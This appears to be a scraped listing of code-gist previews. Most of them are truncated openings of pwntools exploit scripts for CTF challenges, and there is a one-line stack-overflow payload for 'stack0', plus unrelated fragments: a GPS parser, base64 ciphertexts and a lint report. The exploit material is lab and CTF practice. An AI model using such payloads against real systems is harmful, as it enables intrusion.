python -c "print 'A'*70" | ./stack0
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script is designed to extract CUPTs from a truth file | |
# Want to ignore all '#' from truth file | |
# | |
# Objective is to extract: | |
# 1. GPS time (double, column 1) | |
# 2. Latitude (double, column 3) | |
# 3. Longitude (double, column 4) | |
# 4. Height (double, column 5) | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This was done after the ctf | |
cts = [ | |
"BUEF9r9AOjw6w8XSgaZJeD==", | |
"B9cb4emh7PKbfdg/OmKwl1==", | |
"CjbfcYrqVbnZt04GGy5Esn==", | |
"EMmqj/C0uWU8u2CMsvVtwl==", | |
"EkkUe6ukmUA90AvCXnJSTG==", | |
"Exjf76M+iY5s54GPGewKzj==", | |
"KLBgknyMMvzHtcHPMQeEl2==", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
from pwn import * | |
ADD = "1" | |
VIEW = "3" | |
QUIT = "4" |
Original report:
************* Module gef
W:2774, 0: TODO: add more customizable items (fixme)
W:100, 0: Anomalous backslash in string: '\-'. String constant might be missing an r prefix. (anomalous-backslash-in-string)
C:173, 0: Exactly one space required around comparison
if len(sys.argv)==2 and sys.argv[1]=="--update":
^^ (bad-whitespace)
C:173, 0: Exactly one space required around comparison
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import sys | |
CREATE = "1" | |
DELETE = "2" | |
EDIT = "3" | |
PRINT = "4" | |
CHANGE = "5" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from pwn import * | |
def exploit(): | |
r.recvuntil("start: ") | |
addr = r.recv(10) | |
addr = int(addr, 16) | |
print hex(addr) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# From BsidesSF CTF 2017 | |
import itertools | |
import requests | |
import sys | |
from binascii import hexlify, unhexlify | |
uh = unhexlify | |
h = hexlify |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
from pwn import * | |
port = 8080 | |
strtol_addr = 0x6030B0 |
OlderNewer